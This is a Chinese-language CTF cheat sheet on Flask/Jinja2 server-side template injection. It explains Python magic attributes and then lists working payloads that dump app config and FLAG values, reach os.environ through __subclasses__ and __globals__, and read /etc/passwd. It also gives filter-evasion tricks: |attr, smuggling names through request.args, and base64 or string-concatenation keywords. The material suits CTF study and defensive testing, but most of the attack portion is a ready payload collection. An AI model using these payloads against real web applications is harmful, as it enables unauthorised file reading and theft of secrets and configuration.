CTF SSTI(服务器模板注入)

目录

  • 基础
  • 一些姿势
    • 1、config
    • 2、self
    • 3、[]、()
    • 3、url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等
    • 4、常用绕过

flask/jinja2 SSTI入门
SSTI注入绕过(沙盒逃逸原理一样)
探索Flask/Jinja2中的服务端模版注入(一)
探索Flask/Jinja2中的服务端模版注入(二)
从零学习flask模板注入

基础

flask SSTI的基本思路就是利用python中的魔术方法找到自己要用的函数

__dict__ 保存类实例或对象实例的属性变量键值对字典
__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

一些姿势

浅析SSTI(python沙盒绕过)

1、config

{{config}}可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag

2、self

{{self}} ⇒ 
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config

3、[]、()

{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]}}

3、url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等

如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)。

例如:

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

4、常用绕过

Jinja2模板注入滤波器绕过

以下表示法可用于访问对象的属性:

  • request.__class__
  • request["__class__"]
  • request|attr("__class__")

可以使用以下方法访问数组元素:

  • array[0]
  • array.pop(0)

(1)过滤[].

只过滤[]

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
.也被过滤,使用原生JinJa2函数|attr()
request.__class__改成request|attr("__class__")

(2)过滤_

利用request.args属性
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
将其中的request.args改为request.values则利用post的方式进行传参

(3)关键字过滤

  • base64编码绕过
    __getattribute__使用实例访问属性时,调用该方法

例如被过滤掉__class__关键词
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

  • 字符串拼接绕过
    {{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
    {{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}

你可能感兴趣的:(CTF SSTI(服务器模板注入))